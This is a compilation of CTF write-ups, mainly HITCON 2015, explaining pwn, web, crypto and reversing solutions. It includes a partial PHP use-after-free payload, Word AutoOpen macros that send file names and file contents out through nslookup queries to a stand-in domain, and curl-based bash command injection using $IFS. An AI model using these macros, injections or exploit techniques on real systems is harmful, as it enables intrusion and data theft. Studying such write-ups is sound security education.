# matrix X matrix (pwn 175) ## Description ```Matrix is magic!!!nc 52.68.53.28 31337 matrix-a0e5c5c0a8f05896a7f03d8ed4588027libc-3f6aaa980b58f7c7590dee12d731e099.so.6``` ## The bugs In main, the program gets the size of the matrix from user. This value, however, can be negative. ```C ... printf("Hello %s \nThat is a program of matrix multiplication\n", name_buf); fflush(stdout); puts("Enter the size of matrix"); fflush(stdout); __isoc99_scanf((__int64)"%d", (__int64)&v38); v43 = v38 - 1LL; v35 = 0LL; v34 = 8LL * v38; v44 = v38 - 1LL; v32 = v38; v33 = 0LL; v30 = v38; v31 = 0LL; v3 = alloca(16 * ((8 * v38 * (signed __int64)v38 + 22) / 16uLL)); v45 = 8 * (((unsigned __int64)&v9 + 7) >> 3); v42 = abs(v38); for ( i = 0; i < v42; ++i ) { for ( j = 0; j < v42; ++j ) { printf("Enter the (%d,%d) element of the first matrix : ", i, j); fflush(stdout); __isoc99_scanf((__int64)"%lld", 8 * (j + ((unsigned __int64)v34 >> 3) * i) + v45); } } ...``` In above code, we can see that `v34` is computed with possibly negative `v38`, which yields a memory corruption in `scanf`'s frame. Specifically, when `8 * (j + ((unsigned __int64)v34 >> 3) * i)` is -8, we overwrite the return address of `scanf`. ## Exploit We use the bug twice: 1. Leak out the address of `puts` which lets us to calculate the libc base address, then return back to main.2. Use libc base address to calculate address of `system`, and return to it. We store our command in the name buffer. When exploiting the bug, we can send a hyphen (-) to prevent `scanf` from writing any value, thus preserving the original stack contents until we get to the return address. See[exploit.py](https://github.com/pwning/public-writeup/blob/master/hitcon2015/pwn175-matrix/exploit.py)for the full exploit. ## Flag Flag: `hitcon{tH4nK_U_4_pL4y1nG_W17H_3Bp_M47R1X}`
## Colors (ppc/Programming, 100p) ### PL Version`for ENG version scroll down` System wyświetlał na stronie internetowej obrazek złożony z kwadratów. Wsystkie kwadraty oprócz jednego miały taki sam kolor - jeden z nich miał lekko inny odcień. Celem zadania było kliknięcie w ten odmienny kwadrat. System rejestrował gdzie kliknęliśmy i na tej podstawie oceniał poprawność rozwiązania i prezentował kolejny przykład.Celem było rozwiązanie kilkudziesieciu przykładów pod rząd w celu uzyskania flagi. ![](./squares.png) Aby rozwiązać zadany problem przygotowaliśmy skrypt w pythonie z użyciem Python Images Library dostępny [tutaj](colors.py).Skrypt pobiera zadany obraz, wylicza rozkład kolorów pikseli i na tej podstawie wybiera najrzadziej występujący kolor (pomiajając biały, który oddziela kwadarty od siebie). Następnie skanujemy obraz w poszukiwaniu jakiegoś piksela tego koloru i zwracamy pozycję tego piksela jako rozwiązanie. def getPixel(picture_path): fd = urllib.urlopen(picture_path) image_file = io.BytesIO(fd.read()) im = Image.open(image_file) colors_distribution = im.getcolors() non_white = [color for color in colors_distribution if color[1] != (255, 255, 255)] ordered = sorted(non_white, key=lambda x: x[0], reverse=False) print(ordered[0]) width, height = im.size for index, color in enumerate(im.getdata()): if color == ordered[0][1]: y = index / width x = index % width return x, y Po rozwiązaniu kilkudziesięciu przykładów otrzymujemy: `TMCTF{U must have R0807 3Y3s!}` ### ENG Version The system displays on a webpage an image consisting of squares. All but one have the same color - one has a slighly different shade. The task was to click in on the square with different color. The system would register the click location and decide if our solution is correct. We had to solve multiple consecutive examples in order to get the flag. ![](./squares.png) To solve the task we prepared a python script using Python Images Library available [here](colors.py).The script downloads the picture, calculates the colors disitrbution and base don this selects the least frequent color (omitting white, which separates the squares). Next we can the picture looking for a pixel with this color and we return this pixel position as the solution. def getPixel(picture_path): fd = urllib.urlopen(picture_path) image_file = io.BytesIO(fd.read()) im = Image.open(image_file) colors_distribution = im.getcolors() non_white = [color for color in colors_distribution if color[1] != (255, 255, 255)] ordered = sorted(non_white, key=lambda x: x[0], reverse=False) print(ordered[0]) width, height = im.size for index, color in enumerate(im.getdata()): if color == ordered[0][1]: y = index / width x = index % width return x, y After few dozens of examples we finally get: `TMCTF{U must have R0807 3Y3s!}`
# nanana (pwn, web 200) Nanana was a web challenge with a login form submitting to a CGI script,`/cgi/nanana`. Since this is also a pwnable, we expect that this is abinary. Through some guessing, we find that the binary is available todownload at `/nanana`. ```RELRO STACK CANARY NX PIE RPATH RUNPATH FILEPartial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH nanana``` ## The bugs Reversing the binary, we see that it is using a CGI libary (which we could notfind the binary for). A library function is called to initialize a password ina global buffer. The get parameters `username`, `password`, `job`, and `action`are then copied into buffers on the stack. The copies are performed via: ```Cvoid get_params(char *username_buf, char *password_buf, char *job_buf, char *action_buf) { char *username = CGI_GET("username"); if (username) { sprintf(username_buf, username); char *password = CGI_GET("password"); if (password) { // same for job, action } }}``` This is both a stack buffer overflow and format string vulnerability. Back in the main function, the password is compared against the global buffer,and if it matches, a `do_job` function from the CGI library is called. ```Cif (strcmp(password_buf, g_password) == 0) { do_job(username_buf, action_buf, job_buf); system("cat fake-flag"); return 0;} else { puts("Auth Failed"); return -1}``` ## Exploitation To exploit this, we use the format string vulnerability to overwrite the GOTentry for `do_job` with `system` so that the program will execute a command in`username_buf`. To get to this code path, we first need to leak the password.We do this by using the buffer overflow to overwrite `argv[0]` with`g_password`, so that the stack canary failure message includes the password.The stack canary failure message looks like a valid HTTP header (`*** stacksmashing detected ***: argv0`), so we can obtain the leaked value by inspectingthat header. Since `argv[0]` is normally a stack address, its bottom 6 bytesare non-zero, whereas the address of `g_password` is `0x601090`. Since`sprintf` will write exactly one null byte, we use the `username`, `password`,and `job` fields to write zeros over the high bytes of `argv[0]`, thenwrite the address of `g_password` using the action field. This gives us the password: `hitconctf2015givemeshell` Having leaked the password, we make another connection where we use the formatstring vulnerability to point `do_job`'s GOT entry at `system`'s PLT entry. Wecan then specify a command to run as the username and the correctpassword, and run arbitrary commands. See[exploit.py](https://github.com/pwning/public-writeup/blob/master/hitcon2015/web200-nanana/exploit.py)for the full exploit. ## Flag Flag: `hitcon{formatstringmusteasyforyouisntit?}`
# Piranha Gun (stego 50) This challenge gives you a shell under some namespaces isolation, and vaguely asks that you find "jungle.chest". Because you're root in this namespace, you can `mount -t proc proc /proc` to restore procfs to aid in your exploration of this system. With proc, you can notice that there's a mountpoint at `/chest`, but `/chest` is empty. As it turns out, this mount is shadowing a file that is in the real `/chest` directory. You can `umount /chest` to view it. This file is `/chest/jungle.chest`, which contains the flag. Free fun fact: The `mount` command just uses `/etc/mtab` to show mounts, but `/etc/mtab` is not guaranteed to have anything to do with reality (in fact, you can use `mount -n` and `umount -n` to skip updating `/etc/mtab`, leaving it incorrect). In the case of this challenge, since `/etc/mtab` is from outside the namespace jail, `mount` will show the state of the system outside of the jail. So it doesn't include the `/chest` mountpoint! On linux, the way to get real mount information is to use `/proc/mounts`, or the more modern `/proc/self/mountinfo`.
# risky (rev 300) ## Description ```RISKY machine risky-13de1366628df39000749a782f69d894``` ## Reversing The given binary was a [RISC-V](http://riscv.org/) ELF program that prompts for the correct code. When the correct code is given, the flag is generated and displayed. We couldn't run the binary, so everything was done statically. We first started by obtaining and building the toolchain for RISC-V system. You can follow [these](http://riscv.org/download.html#tab_tools) instructions to easily set it up. With the tools in our hands, we opened up the binary with objdump ([output](https://github.com/pwning/public-writeup/blob/master/hitcon2015/rev300-risky/risky.disas)). The program expected 5 groups of 4 letters, separated by dashes (i.e. XXXX-XXXX-XXXX-XXXX-XXXX). Only uppercase alphabets and numbers were allowed. Then, it uses each group of 4 letters as DWORD to do various checks on. The structure is similar to a traditional keygenme's, where you have to find the correct values for each DWORD that satisfy all of the conditions that are being checked -- and only when everything passes, the flag will be computed and printed. ## Solution We will denote each of the group of letters by the register that contains their value: `s3`, `s2`, `s1`, `s5`, and `s0`, respectively. As we read the code, we lay out the equations with these DWORDs as variables: - `s1*s5 + s3*s2 + s0 == 0x181A9C5F`- `s3*s1 + s2 + s0 == 0x2DEACCCB`- `s2+s3+s1+s5+s0 == 0x8E2F6780`- `(s1+s2+s0) * (s3+s5) == 0xB3DA7B5F`- `s1+s2+s0 == 0xE3B0CDEF`- `s3*s0 == 0x4978D844`- `s2*s1 == 0x9BCD30DE`- `(s2*s1) * (s1*s5) * s0 == 0x41C7A3A0`- `s1*s5 == 0x313AC784` Then, we run z3 to get the correct code: `KTIY-ML5M-VK7R-FE5Q-L6DD`. See[solve.py](https://github.com/pwning/public-writeup/blob/master/hitcon2015/rev300-risky/solve.py)for the full solution. ## Flag Flag: `hitcon{dYauhy0urak9nbavca1m}`
# Poooooooow - Crypto 200 problem This challenge is pretty straight forward. We send a number, and the serverwill raise our number to the power of the flag, modulo a large prime number. We simply note that the order of the group has several small factors (2 as wellas 3 repeated 336 times), which lets us efficiently calculate discretelogarithms in certain subgroups. We send the number `pow(2, p/(2*3**306), p)`as the base, which gives us a group of size `2*3**306` in which to work. When we receive the response, we can easily calculate the discrete logarithmin our subgroup, as it has a fairly small order. This gives us our flag `hitcon{CBRT_cbrt_Cbrt_CbRt_cBrT_cBRT_RePeAt......}`
# Use-After-FLEE (pwn, web 500) Use-After-FLEE was a web challenge allowing you to upload and runarbitrary PHP scripts. ## Poking around Uploading a script that does `phpinfo()`, we see that the PHP script isrunning with and `open_basedir` of `/var/www/html/:/tmp/` as well as thefollowing functinos in `disable_functions`: ```exec, passthru, shell_exec, system, proc_open, popen, curl_exec,curl_multi_exec, parse_ini_file, symlink, chgrp, chmod, chown, dl, mail,imap_mail, apache_child_terminate, posix_kill, proc_terminate,proc_get_status, syslog, openlog, ini_alter, ini_set, ini_restore,putenv, apache_setenv, pcntl_alarm, pcntl_fork, pcntl_waitpid,pcntl_wait, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal,pcntl_signal_dispatch, pcntl_sigtimedwait, pcntl_sigprocmask,pcntl_sigwaitinfo, pcntl_exec, pcntl_setpriority, link, readlink``` This list looks pretty reasonable, so based on the title of the problem,we searched for publicly known use-after-free bugs in the runningversion of PHP (`5.5.9-1ubuntu4.12`). It turned out the server isvulnerable to[CVE-2015-6834](https://github.com/80vul/phpcodz/blob/master/research/pch-034.md). Luckily, the service is using standard Ubuntu packages, so we can develop on anenvironment with the exact same php/libc versions. ## The bug As described in Taoguang's writeup, the bug is a use-after-free inunserializing `SplDoublyLinkedList` objects. PHP's object serializationallows a value to reference a previously unserialized object (see[here](http://www.phpinternalsbook.com/classes_objects/serialization.html)for some more details). When an deserialized object's `__wakeup` methodis called, it can free one of its member objects by reassigning themember. With this bug, when the member is a `SplDoublyLinkedList`, theobject is freed, but references to its elements are still accessiblefrom the deserialized object. Taoguang's PoC does this, then overlaps astring with the freed object so that fake PHP objects (zvals) can beconstructed. Here's an approximate descripton of what is going on in his PoC: ```phpclass obj { var $ryat; function __wakeup() { $this->ryat = 1; }} $inner = 'i:1234;:i:1;';$exploit = 'a:5:{';$exploit .= 'i:0;i:1;'; # SplDoublyLinkedList object$exploit .= 'i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}'; # obj that references the SplDoublyLinkedList. When __wakeup is called,# the SplDoublyLinkedList is freed.$exploit .= 'i:2;O:3:"obj":1:{s:4:"ryat";R:3;}'; # references element in SplDoublyLinkedList$exploit .= 'i:3;a:1:{i:0;R:5;}'; # overlaps the freed element$exploit .= 'i:4;s:'.strlen($fakezval).':"'.$fakezval.'";'; $exploit .= '}';``` ## Exploitation The techniques for exploiting this are mostly taken from [Stefan Esser's SyScan 2012 talk](http://www.slideshare.net/i0n1c/syscan-singapore-2010-returning-into-the-phpinterpreter). At this point, we can construct arbitrary `zval`s. In PHP 5.5.9, the relevant structures are: ```cstruct _zval_struct { zvalue_value value; zend_uint refcount__gc; zend_uchar type; zend_uchar is_ref__gc;}; // zval types#define IS_LONG 1#define IS_OBJECT 5#define IS_STRING 6 typedef union _zvalue_value { long lval; // type = IS_LONG ... struct { char *val; int len; } str; // type = IS_STRING ... zend_object_value obj; // type = IS_OBJECT} zvalue_value; typedef struct _zend_object_value { zend_object_handle handle; const zend_object_handlers *handlers; // a table of function pointers} zend_object_value;``` Since we can construct arbitrary `zval`s (`_zval_struct`), the plan willbe to leak addresses, then construct a `zval` of type `IS_OBJECT` whosehandler function table points to memory that we control. ### Leaking addresses We can already read arbitrary memory by making a string with any `val`and `len` of our choosing. Unfortunately, the apache2 process is PIE, sothere are no known addresses to leak from. Stefan's slides give a nicesolution to this: We can construct a long, then free it using the same`__wakeup` trick. PHP's memory cache will then write a heap address over`lval`, leaving the `type` field intact. We can then read the long toget a heap address. Now that we have a heap address, we scan through it for `libphp5` addressesusing the method suggested in the slides. We spray a bunch of objects with, andscan the heap looking for a pattern that looks like a `handlers` addressfollowed by a refcount of 1 and a type of `IS_OBJECT`. The `handlers` for theobject should live in `libphp5`'s data, and from there, we can compute`libphp5`'s base address. We can then learn `libc` addresses using GOT entriesin `libphp5`. ### Getting a shell Now that we have the address of `system`, we spray `system` on the heap,and scan through to find the location of one of them, `system_addr`.We'll use `system_addr - 8` as the `handlers` table for our fake objectso that `system(fake_zval)` will be executed when `del_ref` is called onthe object. This gives 8 bytes (the `handle` field) to place a shellcommand. Luckily, we are given write access to `/tmp`, so we can write acommand in `/tmp/a` and run it with exactly 8 bytes: `sh /*/a;`. See[exploit.php](https://github.com/pwning/public-writeup/blob/master/hitcon2015/web500-use-after-flee/exploit.php)for the full exploit. ## Flag Flag: `hitcon{beapentester,itisnecessarytolearnmemory-basedattack}`
##Strange 150 (forensics, 150p) ### PL[ENG](#eng-version) W tym zadaniu zostanie przetestowana nasza umiejętność otwierania dużych obrazków, dostajemy plik [strange.png](strange.png) ważący 16MB ale pojawia się jeden problem: ![alt](file.png) Tak, zgadza się, obrazek ma `344987x344987` pikseli, nawet z 1 bitową mapą daje nam dużo za dużo wymaganej pamięci. (Tutaj spędziliśmy trochę czasu na próbowanie gotowych programów obsługujących duże pliki, lecz nie przyniosło to żadnego efektu więc tą część pomijamy :) ) Należałoby zaglądnąć do środka tej binarki, żeby dowiedzieć się co tak na prawdę tam w środku siedzi. Okazuje się, że znaczną większość pliku stanowią nullbyte-y. Więc w sumie spróbujmy wyciąć linijki z samymi nullami, zmniejszmy rozmiar obrazka w EXIFie i zobaczmy co się stanie... ![alt](cropped_enlarged.png) Teraz tylko spróbujmy je posklejać i... ![alt](solution.png) Flaga jest nasza! ### ENG version In this task we're given an 16MB [png image](strange.png), there's just one problem: ![alt](file.png) Yes, that's right, it's `344987x344987` pixels big, even with 1 bit map, it's still too much to even consider trying viewing it. (Insert 2 hours of trying various programs with little success here) Why don't we look inside the image, maybe we could find out something interesting. It turns out that a huge majority of the file is just null bytes. Let's try to cut lines composed of only nulls and edit the image exif data to make it smaller ![alt](cropped_enlarged.png) Some weird binary lines, how about sticking them together? ![alt](solution.png) The flag is ours! (Just be careful with 1's and f's)
# PhishingMe - Misc 200 Problem - Writeup by Erye Hernandez (@eryeh) ### Description```Sent me a .doc, I will open it if your subject is "HITCON 2015"!Find the flag under my file system. p.s. I've enabled Macro for you. ^_________________^[email protected].```Based on the description and problem title, the goal of this challenge is to email a malicious document to `[email protected]` which will somehow exfiltrate the file that contains the flag from their system. ### WalkthroughGiven this information, the first impulse is to quickly create a malicious document using `Metasploit` (more info [here](https://www.offensive-security.com/metasploit-unleashed/vbscript-infection-methods/)). `Metasploit` automagically creates `VBScript` code and a `reverse tcp shell` payload that you just copy and paste to your Word document. This payload gives us a shell into their system so we can easily navigate and find the text file containing the flag. Despite this method working locally when we tested it, it does not solve the problem. This means that the remote system has some kind of firewall that blocks outgoing traffic. Since this is a `200 pt` problem, it makes sense that solving it would require a bit more work. #### Creating a macro in WordSince this challenge requires using macros in a Word document to complete the challenge, we outline the steps of creating macros below. If using MS Word 2003, click on `Tools` then `Macros` and then finally `Macros`. If using MS Word 2007, click on `View` then `Macros` and thenn finally `View Macros`. Create a macro named `AutoOpen` in the `macro` dialog box and it will launch the `Visual Basic Editor` where you can create and debug your `macros`. #### So how do we exfil all the data? When the `reverse shell` payload route failed, we decide to find alternatives to exfiltrating data. Since `TCP port 80` is a common port that is not blocked, we first explore the possibility of getting data out using plain old `HTTP`. We use the script below to check if `outgoing` traffic on `TCP port 80` is possible. ```vbSub AutoOpen() Dim objHttp: Set objHttp = CreateObject("Microsoft.XMLHTTP") uri = "http://X.X.X.X/poop/" objHttp.Open "GET", uri, False objHttp.sendEnd Sub``` Since we did not see any connections to our web server when we sent this script, we can safely assume that `outgoing` traffic on `TCP port 80` is also blocked. Next, we check if `DNS` traffic is blocked by using the script below. ```vbSub AutoOpen() Dim objShell: Set objShell = CreateObject("WScript.Shell") objShell.Exec ("%comspec% /c nslookup tun.mydomain.com")End Sub``` We see their server connecting to ours so this is good news! The above script also tells us that it is possible to issue command line instructions to the system via `VBScript`. We can use `DNS` requests to exfiltrate data from their system. Now, we have to figure out where the flag is located. #### Capturing the flagWe created the `VBScript` below to help with the task of finding the flag in the remote system. Since we are using `DNS` lookup queries, we have to make sure that there are no `whitespaces` in the data that is sent as a `DNS` query so we replace `whitespaces` with an `underscore` ("_"). Although not necessary, we also replace the occurences of `periods` (".") with an `underscore`. We decide to first do a file listing of the current working directory as this would be the most logical place for the flag file to be. ```vbSub AutoOpen() Dim objShell: Set objShell = CreateObject("WScript.Shell") Dim objFSO: Set objFSO = CreateObject("Scripting.FileSystemObject") Dim objFolder: Set objFolder = objFSO.GetFolder(".") objShell.Exec ("%comspec% /c nslookup " & objFolder.Path & ".tun.mydomain.com") Set colFiles = objFolder.Files buff = "" For Each objFile In colFiles buff = Replace(objFile.Name, " ", "_") buff = Replace(buff, ".", "_") objShell.Exec ("%comspec% /c nslookup " & buff & ".tun.mydomain.com") NextEnd Sub``` Once we got our results back, we notice a file called `secret.txt`. This file sounds promising so we open the file and send the contents back through `DNS` query. Here is what the traffic looks like with the flag (`hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}`) ```17:40:10.859126 IP ec2-54-199-14-224.ap-northeast-1.compute.amazonaws.com.24390 > ns4009839.ip-192-99-5.net.domain: 22447 [1au] AAAA? hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}.tun.mydomain.com. (93)``` Yay! We are done! It is surprising to note however that `DNS` queries actually allow `{` and `!` characters. The final (cleaned up) macro can be found [here](https://github.com/pwning/public-writeup/blob/master/hitcon2015/misc200-phishingme/macro.vbs).
# blinkroot (pwn 200) binary reads 1024 bytes, then closes stdin,stderr,stdout then there is a MOVAPS to copy 8 bytes of input to a controllable address so the destination address must be aligned properly i chose to overwrite pointer to link_map, and provide a fake link_map that returns the address of system when trying to resolve the address of puts exploit does a reverse tcp, command length ended up being constrained to under 24 bytes, so we had a short domain name listening on a 1 digit port
# Hack.lu 2015 CTF: Bashful### Indonesian version---------- ## Detail tantangan| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Hack.lu CTF | Bashful | Web | 200+50 | *Deskripsi*> "How did I end up here?" is the only question you can think of since you've become a high school teacher. Let's face it, you hate children. Bunch of egocentric retards. Anyway, you are not going to take it anymore. It's time to have your little midlife crisis right in the face of these fuckers.> > Good thing that you're in the middle of some project days and these little dipshits wrote a simple message storing web application. How cute. It's written in bash... that's... that's... aw- no... bashful. You've got the source, you've got the skills. 0wn the shit out of this and show them who's b0ss. ## WebsiteTerdapat tantangan berupa *website* yang menggunakan *server* Lighttpd CGI yang meng-*handle* *Bash script* untuk pemrosesan laman *website* tersebut. Lihat *source code* pada direktori `bashful` *File-file* pada *source code* adalah: 404.sh home.sh home.html index.sh dengan tampilan halaman website: ![Halaman depan](img/02.png) ketika saya memasukkan kata `hack.lu` maka akan tampil _list_ seperti di: ![Hack.lu](img/03.png) namun ketika saya memasukkan kata `Hello world!` maka akan menambah daftar _list_ namun di-encode menjadi `Helloworld21`: ![Hello world!](img/04.png) Kesimpulannya adalah teks apapun yang akan dikirim dan mengandung simbol, akan di-_encode_ terlebih dahulu dan karakter _space_ akan dieliminasi. Lalu bagaimana untuk mengeksploitasinya? Mari kita analisa terlebih dahulu _source code_ yang diberikan. ## Session IDTantangannya berada di alamat `https://school.fluxfingers.net:1503/` yang kemudian akan di-redirect pada alamat yang sama dengan tambahan sebuah parameter `sessid` yang nilainya berupa alpha-numeric dengan panjang 60 karakter. `https://school.fluxfingers.net:1503/?sessid=cdd01923820617eff78abd1fd7234f4a17b0f2adf78a7bdbdb6691b7148a` Redirect di-handle oleh `index.sh` pada baris kode: ```bashif [ ! -v sessid ]; then headers["Location"]="?sessid=$(head -c 32 /dev/urandom | xxd -ps)" flush_headers exitfi``` Parameter `sessid` wajib memiliki karakter alpa-numerik dan beberapa simbol (`a-zA-Z0-9.!$;?_`), dengan panjang tidak kurang dari 60 karakter. Jika kurang dari 60 karakter (contoh: `https://school.fluxfingers.net:1503/?sessid=cdd019238206`), maka akan menampilkan pesan:> like... really? Hal ini di-handle `index.sh` pada baris kode: ```bashfunction filter_nonalpha { echo $(echo $1 | sed 's/[^a-zA-Z0-9.!$;?_]//g')} sessid=$(filter_nonalpha $sessid)if [ -z $sessid ] || [ "${#sessid}" -lt 60 ]; then echo 'like... really?' exitfi``` Perlu diketahui bahwa setiap `sessid` disimpan ke dalam sebuah _file_ dengan nama _file_ yang sama dengan nilai `sessid`, yang disimpan pada direktori `/var/sessions` (lihat pada bagian **Variables** di bawah). Sebagai contoh, saya memiliki `sessid` dengan nilai `da64bd2eb75f137a2fcf0ac614dc1d328943dadb61ff74c7d69ccd25fc45`, maka akan ada satu buah file pada `/var/sessions/da64bd2eb75f137a2fcf0ac614dc1d328943dadb61ff74c7d69ccd25fc45`. Setelah diteliti lagi, teks yang kita kirimkan melalui _form_ (_hack.lu_, _Hello world!_, dsb.), ternyata disimpan pada _session file_ tersebut, dengan tambahan _delimiter_ karakter `#`: Contoh: Pada _form_, saya telah memasukkan 2 buah teks, yaitu `hack.lu` dan `Hello world!`. Setelah di-_encode_, maka hasilnya adalah:`hack.lu#Helloworld21#` Lihat pada baris kode: ```bashif [ ! -z "$messages" ]; then echo -ne "" > $sessfile for msg in "${messages[@]}"; do echo -ne "$(filter_nonalpha $msg)#" >> $sessfile donefi``` Jadi, ketika kita mengganti nilai `sessid` kita dengan yang baru, maka teks yang telah kita kirimkan akan hilang karena _session file_ sudah berbeda dengan yang sebelumnya. Mungkinkan ini celah untuk menginjeksikan sesuatu? Mari kita telusuri lebih lanjut. ## VariableTerdapat beberapa variabel, seperti: SESSION_DIR DOCUMENT_ROOT REQUEST_METHOD DEBUG page sessid ... Dari variabel di atas, terdapat satu buah variabel menarik yaitu `DEBUG`. Ketika kita mencoba mengakses URL dengan tambahan parameter `DEBUG=1` seperti`/?DEBUG=1&sessid=da64bd[...]`, maka akan tampil seluruh _environment variables_ pada _server_ tersebut. ![DEBUG=1](img/05.png) Setelah kita lihat nilai seluruh variabel, kita simpulkan dulu variabel yang paling potensi untuk bisa di-_exploit_: | Variable | Value ||:--------------|:-----------|| DOCUMENT_ROOT | /var/www || DEBUG | 1 || sessid | <60 chars> | ## ExploitSekarang kita akan coba mengubah variabel `DOCUMENT_ROOT` pada URL `/?DOCUMENT_ROOT=/var/www&DEBUG=1&sessid=da64b[...]`, maka akan dihasilkan halaman website yang sama, karena `DOCUMENT_ROOT` memang bernilai `/var/www`. Namun, ketika kita mengubah `DOCUMENT_ROOT` menjadi nilai `/tmp` pada URL `/?DOCUMENT_ROOT=/tmp&DEBUG=1&sessid=da64b[...]`, maka akan terjadi kesalahan `500 - Internal Server Error`. ![Internal Server Error](img/06.png) Hal tersebut terjadi karena mungkin saja _file_ utamanya, yaitu `index.sh` tidak ditemukan pada direktori `/tmp`. Kesimpulannya, `DOCUMENT_ROOT` benar-benar terbukti bisa diatur melalui URL. Sekarang coba kita pikirkan, variabel apa yang dapat diatur agar dapat mengeksekusi sebuah _bash file_? Lihat pada _source code_: ```bashfile="$DOCUMENT_ROOT/$page.sh"if [ ! -f $file ]; then >&2 echo "Can't load $file" file="$DOCUMENT_ROOT/404.sh"fisource $file``` Dari _source code_ tersebut dapat disimpulkan bahwa variable `file` dihasilkan dari sejumlah variabel, yaitu `$DOCUMENT_ROOT/$page.sh`. Berarti kita dapat menggunakan gabungan parameter `DOCUMENT_ROOT` dan `page`, dengan contoh pada URL adalah `/?DOCUMENT_ROOT=/var/www&page=index&sessid=...` ### InjeksiKemudian kita perlu menginjeksikan _shell command_. Tentunya kita hanya dapat melakukannya melalui _form_ yang nantinya akan disimpan ke dalam sebuah _session file_ (`/var/sessions/<60-chars-session-id>`). Jadi dengan menggunakan parameter `DOCUMENT_ROOT` dan `page`, kita dapat mengeksekusi *session file* yang berisi *shell command* dengan menggunakan URL `/?DOCUMENT_ROOT=/var/sessions&page=6c6fd9[...]&sessid=6c6fd9[...]`. Karena _session file_ memiliki teks dipisah dengan _delimiter_ `#`, maka kita akan coba mengeksekusi sebuah perintah `ls;`. Adanya `;` setelah perintah adalah sangat penting, gunanya mengakhiri perintah sebelum bertemu karakter _delimiter_ `#` yang dianggap sebuah komentar pada Bash. Waktunya memasukkan perintah `ls;` pada _form_: ![ls;](img/07.png) Ups! Perintah `ls;` menjadi `ls3B`. Karakter `;` ter-*encode*, ini menjadi tidak ada gunanya ketika dieksekusi. *Encoding* kemungkinan dilakukan oleh *browser*. Mari kita gunakan `curl`, namun sebelumnya kita perlu memiliki sebuah `sessid` baru untuk mengosongkan perintah yang tidak berguna tersebut. curl 'https://school.fluxfingers.net:1503/?sessid=ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8' --data 'msg=ls;' *Magic!* Hasilnya sesuai dengan yang diharapkan. ![ls;](img/08.png) Sekarang kita akan coba eksekusi *session file* yang memiliki *shell command* `ls;` tersebut, dengan menggunakan URL: https://school.fluxfingers.net:1503/?DOCUMENT_ROOT=/var/sessions&page=ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8&DEBUG=1&sessid=ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8 Ups! Terjadi kesalahan **500 - Internal Server Error**. Seperti kesalahan sebelumnya, ini terjadi karena *bash file* tidak ditemukan. File tersebut kita atur pada parameter `page`. Kita lihat lagi *source code*-nya: ```bashfile="$DOCUMENT_ROOT/$page.sh"``` Ternyata *session file* harus memiliki ekstensi `.sh`, dalam kasus ini adalah `ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8.sh`. Berhubung di `/var/sessions` saat ini hanya memiliki file dengan nama `ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8` (tanpa ekstensi`.sh`), maka kita harus buat terlebih dahulu dengan mengatur parameter `sessid` yang nilainya ditambahkan string `.sh` sebagai ekstensi: https://school.fluxfingers.net:1503/?sessid=ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8.sh Nah, sekarang *list* perintah `ls;` yang kita atur sebelumnya menjadi hilang, karena *session file* sudah berbeda dengan yang sebelumnya setelah ditambahkan ekstensi `.sh`. Sekarang kita tambahkan *shell command* dengan menggunakan `curl` seperti sebelumnya dengan alamat baru: curl 'https://school.fluxfingers.net:1503/?sessid=ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8.sh' --data 'msg=ls;' Perintah `ls;` baru telah ditambahkan. Saatnya kita eksekusi pada URL: https://school.fluxfingers.net:1503/?DOCUMENT_ROOT=/var/sessions&page=ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8&sessid=ea57b3d27a57f68ccf6001a6e51f9801b74a80592c5885c5aec5bc29c4b8.sh *Bump!* Sesuai yang diperkirakan, perintah tereksekusi dan menghasilkan sesuatu yang menarik: ![Flag](img/09.png) Terdapat *file* dengan nama `flag`. Untuk membaca file `flag` tersebut, dapat menggunakan dua opsi metode, yaitu: * Akses langsung file `flag` menggunakan URL `https://school.fluxfingers.net:1503/flag`. Bukan tantangan namanya jika mudahnya menggunakan metode ini, karena pasti akan menghasilkan **403 - Forbidden**. Skip! `:)`* Injeksi *shell command* dengan menggunakan perintah `cat flag`. Untuk metode injeksi *shell command* caranya sama dengan sebelumnya. Dengan menggunakan `curl` dan tentunya dengan `sessid` ditambah ekstensi `.sh` baru agar mengosongkan perintah sebelumnya: curl 'https://school.fluxfingers.net:1503/?sessid=2cac3786464ebcfd2bda52d82d7c649bf8d334af71073ebd1ff3bb7193e9.sh' --data 'msg=cat flag;' Perlu diketahui, dengan mengirimkan perintah `cat flag;` akan sia-sia, karena perintah mengandung karakter spasi yang otomatis akan dipotong menjadi `cat` saja. Bagaimana caranya agar dapat mengirimkan perintah `cat flag;` yang notabene mengandung spasi? Dengan mengganti spasi dengan karakter `%20` pun akan sia-sia, karena akan tetap menjadi `cat%20flag;`. Beruntung ada variabel `$IFS` yang dapat disisipkan diantara perintah `cat` dan `file`. Namun setelah eksperimen, ternyata ada pengecualian terhadap penggunaan `$IFS`. Lihat tabel di bawah: | Command | Okay? | Reason ||:--------------|:------|:----------------------------------------------------------------------------------------------------------|| `cat$IFSflag` | No | *idk* || `cat$IFS*` | No | Fungsi `filter_nonalpha` hanya mengijinkan `a-zA-Z0-9.!$;?_` || `cat$IFS????` | Yes | `?` merupakan *wildcard* yang akan mewakili *file* yang memiliki panjang nama sesuai jumlah banyaknya `?` | Setelah tahu bahwa perintah `cat$IFS????` dapat digunakan, lanjutkan membuat *shell command* tersebut. Dengan menggunakan `curl` dan tentunya dengan `sessid` ditambah ekstensi `.sh` baru agar mengosongkan perintah sebelumnya: curl 'https://school.fluxfingers.net:1503/?sessid=179face5a3611e9ee18971df159e9095df52cd2379529017d0d6b40ee6cf.sh' --data 'msg=cat$IFS????;' ![Flag](img/10.png) Kemudian eksekusi *shell command* tersebut pada URL: 